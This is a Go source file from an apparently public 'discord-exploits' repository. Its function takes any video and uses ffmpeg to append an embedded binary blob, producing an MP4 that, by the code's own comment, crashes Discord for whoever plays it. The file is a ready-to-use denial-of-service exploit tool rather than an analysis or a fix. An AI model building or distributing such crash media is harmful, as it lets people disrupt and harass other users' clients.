discord-exploits/exploits/crash-video.go
Schmenn a77abe5c32 switched to embedded files
a giant slice of bytes is never pretty
2021-04-05 14:24:52 +02:00

35 lines
895 B
Go

package exploits
import (
_ "embed" // embed
"fmt"
"os"
"os/exec"
"github.com/Schmenn/discord-exploits/modules"
)
//go:embed crash.bin
var bin []byte
// RunCrashVideoTask takes the input file and makes a video from it that when played crashes discord
func RunCrashVideoTask(filename string) {
binname := modules.CreateName("bin")
outname := modules.CreateName("mp4")
txtname := modules.CreateName("txt")
err := os.WriteFile(txtname, []byte(`file '`+filename+`'`+"\n"+`file '`+binname+`'`), 0777)
modules.Check(err)
err = os.WriteFile(binname, bin, 0777)
modules.Check(err)
modules.CheckForFFmpeg()
cmd := exec.Command("ffmpeg", "-f", "concat", "-i", txtname, "-y", "-safe", "0", "-c", "copy", outname)
err = cmd.Run()
modules.Check(err)
err = os.Remove(binname)
modules.Check(err)
err = os.Remove(txtname)
modules.Check(err)
fmt.Println("Saved video to: " + outname)
}